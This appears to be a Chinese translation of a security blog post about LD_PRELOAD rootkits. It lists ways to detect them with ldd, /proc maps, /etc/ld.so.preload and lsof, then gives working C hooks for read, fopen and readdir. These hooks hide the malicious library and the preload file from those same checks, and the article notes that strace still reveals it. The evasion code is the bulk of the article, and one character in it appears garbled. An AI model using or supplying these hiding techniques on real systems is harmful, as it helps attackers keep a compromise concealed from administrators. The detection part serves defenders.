How detect a LD_PRELOAD rootkit and hide from ldd & proc
在开始之前,我们需要了解什么是 LD_PRELOAD rootkit
。
-
这是一种利用 LD_PRELOAD
环境变量来加载恶意共享库的恶意软件。它通过拦截和修改函数来隐藏文件、进程和活动。由于不直接与内核交互,LD_PRELOAD rootkit 运行在用户空间(ring3)。
简介
与 LKM(可加载内核模块)相比,LD_PRELOAD Rootkit 的一个优势在于它们更加稳定、兼容,且开发难度较低。
然而,对于那些创建或了解 LD_PRELOAD rootkit 的人来说,它们的一个明显缺点是容易被检测和清除。
在本文中,除了学习检测 LD_PRELOAD rootkit 的技术外,我们还将学习如何隐藏它,以避免被本文提到的这些检测方法发现。
检测 LD_PRELOAD rootkit
通常情况下,可以使用 ldd /bin/ls
命令来检测 LD_PRELOAD rootkit,如下所示:
-
ldd
:用于列出给定程序所需的动态依赖项。它会返回共享库的名称及其位置。
它们也可以在 /proc/[pid]/maps
中被发现。
-
/proc/[pid]/maps
:这是一个包含当前已映射内存区域及其访问权限的文件。
同样,它们也很容易在 /proc/[pid]/map_files/
中被找到
-
/proc/[pid]/map_files/
:显示内存映射文件。
当然,不能忽略检查 /etc/ld.so.preload
-
/etc/ld.so.preload
:这个文件包含了在程序加载前需要加载的共享对象列表。
你也可以使用 lsof
来进行检查。
-
lsof
:列出被进程打开的文件,当与 -p 参数一起使用时,可以显示特定进程加载的共享库。
这些就是检测共享对象的主要方法,你看到了它有多容易,对吧?而我所见到的大多数 LD_PRELOAD rootkit 都没有隐藏自身的功能。作为一个充满好奇心的人,我决定学习一些如何隐藏它的方法,我们将在下一节中学习这些内容。
从 ldd 和 /proc 中隐藏 LD_PRELOAD Rootkit
我想了解我的人都知道,我真的很喜欢钩取(hooking)read
函数,这个案例也不例外。
这是一段简单的 C 代码:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
ssize_t read(int fd, void *buf, size_t count) {
static ssize_t (*real_read)(int, void *, size_t) = NULL;
if (!real_read) {
real_read = dlsym(RTLD_NEXT, "read");
if (!real_read) {
errno = ENOSYS;
return -1;
}
}
ssize_t result = real_read(fd, buf, count);
if (result > 0) {
char *start = (char *)buf;
char *end = start + result;
char *current = start;
size_t new_buf_size = result;
char *new_buf = (char *)malloc(new_buf_size);
if (!new_buf) {
errno = ENOMEM;
return -1;
}
size_t new_buf_pos = 0;
while (current < end) {
char *line_start = current;
char *line_end = memchr(current, 'n', end - current);
if (!line_end) {
line_end = end;
} else {
line_end++;
}
if (!memmem(line_start, line_end - line_start, "hook.so", strlen("hook.so"))) {
size_t line_length = line_end - line_start;
if (new_buf_pos + line_length > new_buf_size) {
new_buf_size = new_buf_pos + line_length;
new_buf = (char *)realloc(new_buf, new_buf_size);
if (!new_buf) {
errno = ENOMEM;
return -1;
}
}
memcpy(new_buf + new_buf_pos, line_start, line_length);
new_buf_pos += line_length;
}
current = line_end;
}
memcpy(buf, new_buf, new_buf_pos);
result = new_buf_pos;
free(new_buf);
}
return result;
}
此代码在read
函数中实现了一个钩子,拦截文件读取并过滤包含字符串"hook.so"
的行。它使用dlsym
函数获取read
的原始版本,处理读取的数据,动态分配内存来存储过滤后的结果并返回这个新缓冲区。通过使用memm
和memchr
等函数,确保任何包含"hook.so"
的行都被删除,通过仅将不包含该字符串的行复制到最终缓冲区来有效地"隐藏"该字符串。
因此,它在ldd
和/proc/*
中的任何文件/目录中都不会被检测到。
使用ldd
的示例:
使用/proc/pid/maps
的示例:
使用/proc/pid/map_files/
的示例:
使用lsof
的示例:
使用cat /etc/ld.so.preload
的示例:
这是一个简单的解决方案,没有太多高级技术,但非常有效。
从/etc/ld.so.preload 中隐藏
如前所述,所展示的技术是有效的,但是,如果你执行cat /etc/ld.so.preload
,正如预期的那样hook.so
不会出现,然而,如果你使用nano
,例如,它就会被看到。
这对我们来说是不利的。
为了解决这个问题,我们将钩住fopen
、read
和readdir
函数来隐藏文件/etc/ld.so.preload
,使其"不可能"被打开、读取或在目录中列出,并且使其看起来不存在,例如,如果你执行cat /etc/ld.so.preload
,它会返回No such file or directory
。
以下是一个简单的 C 语言代码:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <errno.h>
#include <sys/stat.h>
#include <limits.h>
#include <dirent.h>
#define HIDDEN_FILE "/etc/ld.so.preload"
FILE *(*orig_fopen)(const char *pathname, const char *mode);
FILE *fopen(const char *pathname, const char *mode)
{
if (!orig_fopen) {
orig_fopen = dlsym(RTLD_NEXT, "fopen");
}
if (strcmp(pathname, HIDDEN_FILE) == 0) {
errno = ENOENT;
return NULL;
}
return orig_fopen(pathname, mode);
}
ssize_t read(int fd, void *buf, size_t count)
{
static ssize_t (*orig_read)(int, void *, size_t) = NULL;
if (!orig_read) {
orig_read = dlsym(RTLD_NEXT, "read");
}
char path[PATH_MAX];
snprintf(path, sizeof(path), "/proc/self/fd/%d", fd);
char actual_path[PATH_MAX];
ssize_t len = readlink(path, actual_path, sizeof(actual_path) - 1);
if (len > 0) {
actual_path[len] = '�';
if (strcmp(actual_path, HIDDEN_FILE) == 0) {
errno = ENOENT;
return -1;
}
}
return orig_read(fd, buf, count);
}
struct dirent *(*orig_readdir)(DIR *dirp);
struct dirent *readdir(DIR *dirp)
{
if (!orig_readdir) {
orig_readdir = dlsym(RTLD_NEXT, "readdir");
}
struct dirent *entry;
while ((entry = orig_readdir(dirp)) != NULL) {
if (strcmp(entry->d_name, "ld.so.preload") != 0) {
return entry;
}
}
return NULL;
}
-
fopen:此函数检查文件是否为
/etc/ld.so.preload
,如果是,则通过返回NULL
并将错误设置为ENOENT(没有此类文件或目录)
来阻止打开,否则,它调用原始的 fopen 函数来正常打开其他文件。 -
read:在读取之前,该函数会检查与 fd(文件描述符)关联的文件是否为
/etc/ld.so.preload
(使用 readlink 获取文件的实际路径),如果是,则在读取时返回错误,返回 -1 并将错误设置为ENOENT
,否则它调用原始的 read 函数来正常读取其他文件。 -
readdir:此函数读取目录条目并检查任何条目的名称是否为
ld.so.preload
,如果找到该名称,则忽略该条目并继续搜索,否则正常返回该条目,也就是说,如果你尝试读取ls -lah /etc/ |grep ld.so.preload
,它会变得不可见。
然后,它变得更加"隐蔽"。
检查 ld.so.preload
是否在 /etc/
中列出:
检查是否可以查看 /etc/ld.so.preload
的内容:
当然,这并不是百分之百完美,但理解这个过程的工作原理很有趣。
意外转折
好吧...这里有一件非常有趣的事情,当我们使用 strace
时,文章中介绍的隐藏 /etc/ld.so.preload
的过程就变得毫无用处了😂。
-
Strace:Linux 系统下用于诊断、调试和教学的用户空间实用工具。
这对 strace
不起作用,我们的代码无法对其进行隐藏,因为它只处理 read
函数,而 strace 还可以在内核级别监控系统调用,在那里 hook.so
仍然可见。
参考资料
Twitter: https://twitter.com/MatheuzSecurity
原文始发于微信公众号(securitainment):如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论